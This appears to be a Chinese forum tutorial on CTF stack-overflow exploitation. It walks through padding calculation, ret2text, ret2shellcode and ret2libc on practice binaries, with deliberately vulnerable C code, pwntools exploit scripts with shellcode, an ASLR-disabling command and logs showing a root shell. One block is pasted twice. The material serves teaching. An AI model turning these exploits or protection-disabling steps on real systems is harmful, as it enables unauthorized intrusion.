安全矩阵

 找回密码
 立即注册
搜索
查看: 2721|回复: 0

PWN-栈溢出入门

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-19 09:17:54 | 显示全部楼层 |阅读模式
原文链接:PWN-栈溢出入门
​​
PWN-栈溢出入门
溢出padding计算
方法1:esp/ebp距离计算
1. 溢出函数处下断点
b main
2. 记录esp、ebp
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff480 --> 0x0
3. 找到溢出函数参数位置
0x804858c <main+95>: lea    eax,[esp+0x1c]
4. padding = (ebp - (esp+1c)) + 4 = (0xbffff508 - 0xbffff480 - 0x1c ) +4 = 112


方法2:pattern_create
通常情况下ebp + 4/rbp + 8更准确
pattern_offset $ebp
pattern_offset $eip
pattern_offset $rbp
pattern_offset $rip

方法3:cyclic
  1. ┌──(root????kali)-[/home/kali/Desktop/CTF]
  2. └─# cyclic 200                                                                                                                                                                                                                     148 ⨯ 1 ⚙
  3. [!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
  4. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
  5.                                                                                                                                                                                                                                              
  6. ┌──(root????kali)-[/home/kali/Desktop/CTF]
  7. └─# gdb ret2shellcode                                                                                                                                                                                                                    1 ⚙
  8. gdb-peda$ run
  9. Starting program: /home/kali/Desktop/CTF/ret2shellcode
  10. No system for you this time !!!
  11. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
  12. bye bye ~
  13. Program received signal SIGSEGV, Segmentation fault.
  14. [----------------------------------registers-----------------------------------]
  15. EAX: 0x0
  16. EBX: 0x0
  17. ECX: 0x9 ('\t')
  18. EDX: 0xffffffff
  19. ESI: 0xb7fb0000 --> 0x1e4d6c
  20. EDI: 0xb7fb0000 --> 0x1e4d6c
  21. EBP: 0x62616163 ('caab')
  22. ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
  23. EIP: 0x62616164 ('daab')
  24. EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  25. [-------------------------------------code-------------------------------------]
  26. Invalid $PC address: 0x62616164

  27. Legend: code, data, rodata, value
  28. Stopped reason: SIGSEGV
  29. 0x62616164 in ?? ()
  30. gdb-peda$
  31. zsh: suspended  gdb ret2shellcode
  32.                                                                                                                                                                                                                                              
  33. ┌──(root????kali)-[/home/kali/Desktop/CTF]
  34. └─# cyclic -l "0x62616164"                                                                                                                                                                                                         148 ⨯ 2 ⚙
  35. [!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
  36. 112
  37.       
复制代码

                                    


栈溢出利用
ret2text
ret2text 即控制程序执行程序本身已有的的代码(.text)

示例
  1. // gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

  2. #include <stdio.h>

  3. #include <string.h>



  4. void success() {

  5.     puts("SUCCESS!!!");

  6.     system("cat flag");

  7. }



  8. void vulnerable() {

  9.   char s[12];

  10.   gets(s);

  11.   puts(s);

  12.   return;

  13. }



  14. int main(int argc, char **argv) {

  15.   vulnerable();

  16.   return 0;

  17. }
复制代码


.text段存在flag关键信息函数

计算溢出长度
xxxxx
python代码
from pwn import *
sh = process("./ret2text")
win = 0x8049182
sh.sendline(b'A'*24 + p32(win))
sh.interactive()
ret2shellcode
图1

图2

问题:如何确定shellcode起始地址
​​
关闭ASLR
ASLR(系统开启的)
ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在linux中使用此技术后,杀死某程序后重新开启,地址换。
在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。
以上cat命令输出的值表示:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/core_uses_pid
示例
#include <unistd.h>
void vuln_func()
{
        char buf[128];
        read(STDIN_FILENO,buf,256);
}
int main(void)
{
        vuln_func();
        write(STDOUT_FILENO,"hello world!\n",13);
}
1. 执行溢出确定溢出地址和core文件
为什么是$esp-140-4 因为此时的esp指向函数返回地址
函数是执行ret之后才报错的,所以此时代码已经执行完成ret,也就是说esp指向(返回地址 + 4)

  1. └─# gdb stack3 core.2936 -q                                                                                                                                                                                                             1 ⚙

  2. Reading symbols from stack3...

  3. (No debugging symbols found in stack3)

  4. [New LWP 2936]

  5. Core was generated by `./stack3'.

  6. Program terminated with signal SIGSEGV, Segmentation fault.

  7. #0  0xbf91afc0 in ?? ()

  8. gdb-peda$ x/4wx $esp-140-4

  9. 0xbffff4c0:     0x2f68686a      0x68732f2f      0x6e69622f      0x0168e389

  10. gdb-peda$

  11. zsh: suspended  gdb stack3 core.2936 -q



  12. #!/usr/bin/env python

  13. from pwn import *



  14. sh = process('./stack3')



  15. # 方法1

  16. shellcode = asm(shellcraft.sh())

  17. buf2_addr = 0xbffff4c0

  18. print(shellcode)

  19. pause()

  20. sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

  21. sh.interactive()┌──(root�kali)-[/home/kali/Desktop/CTF]

  22. └─# gdb stack3 core.2936 -q                                                                                                                                                                                                             1 ⚙

  23. Reading symbols from stack3...

  24. (No debugging symbols found in stack3)

  25. [New LWP 2936]

  26. Core was generated by `./stack3'.

  27. Program terminated with signal SIGSEGV, Segmentation fault.

  28. #0  0xbf91afc0 in ?? ()

  29. gdb-peda$ x/4wx $esp-140-4

  30. 0xbffff4c0:     0x2f68686a      0x68732f2f      0x6e69622f      0x0168e389

  31. gdb-peda$

  32. zsh: suspended  gdb stack3 core.2936 -q



  33. #!/usr/bin/env python

  34. from pwn import *



  35. sh = process('./stack3')



  36. # 方法1

  37. shellcode = asm(shellcraft.sh())

  38. buf2_addr = 0xbffff4c0

  39. print(shellcode)

  40. pause()

  41. sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

  42. sh.interactive()
  43. // gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

  44. #include <stdio.h>

  45. #include <string.h>



  46. void success() {

  47.     puts("SUCCESS!!!");

  48.     system("cat flag");

  49. }



  50. void vulnerable() {

  51.   char s[12];

  52.   gets(s);

  53.   puts(s);

  54.   return;

  55. }


  56. int main(int argc, char **argv) {

  57.   vulnerable();

  58.   return 0;

  59. }
复制代码

方法2:


  1. └─# gdb stack3 core.2961 -q                                                                                                                                                                                                             6 ⚙

  2. Reading symbols from stack3...

  3. (No debugging symbols found in stack3)

  4. [New LWP 2961]

  5. Core was generated by `./stack3'.

  6. Program terminated with signal SIGSEGV, Segmentation fault.

  7. #0  0xbf91afc0 in ?? ()

  8. gdb-peda$ x/4wx $esp

  9. 0xbffff550:     0xbffff50a      0x00000000      0x00000000      0xb7de9e46

  10. gdb-peda$


  11. #!/usr/bin/env python

  12. from pwn import *



  13. sh = process('./stack3')

  14. # 方法2

  15. buf2_addr = 0xbffff550 # 就是esp的值

  16. print(shellcode)

  17. pause()

  18. sh.sendline(b'b'*140+ p32(buf2_addr)  + shellcode)

  19. sh.interactive()





  20. ┌──(root�kali)-[/home/kali/Desktop/CTF]

  21. └─# python3 stack3.py                                                                                                                                                                                                                   3 ⚙

  22. [!] Pwntools does not support 32-bit Python.  Use a 64-bit release.

  23. [+] Starting local process './stack3': pid 3037

  24. b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

  25. [*] Switching to interactive mode

  26. $ id

  27. uid=0(root) gid=0(root) groups=0(root),143(kaboxer)

  28. $

  29. [*] Interrupted

  30. [*] Stopped process './stack3' (pid 3037)
复制代码


ret2libc

例1
IDA分析

sh_addr = 0x08048720

system_addr = 0x08048460

padding = 112

exp
from pwn import *
sh = process("./ret2libc1")
binsh = 0x08048720
system_plt = 0x08048460
whatever_addr = 0x11111111
payload = b"a" * 112
payload += p32(system_plt)
payload += p32(whatever_addr)# 这里就是调用system的返回地址,没有实际意义
payload += p32(binsh)
sh.sendline(payload)
sh.interactive()

例2
checksec
xxxxx
计算padding = 112

.bss buf2 = 0x0804A080

gets = 08048460

system = 08048490

栈情况分析

exp
from pwn import *
sh = process("./ret2libc2")
get_addr = 0x08048460
buf_addr = 0x0804A080
system_addr = 0x08048490
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
exp2
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
get_addr = elf.plt['gets']
system_addr = elf.plt['system']
buf_addr = elf.symbols['buf2']
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()

例3
函数基址 base = A函数got - A函数libc = B函数got - B函数libc
xctf level3

libc_write = 0x000D43C0

libc_system = 0x0003A940

libc_bin = 0x0015902B




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:29 , Processed in 0.015978 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表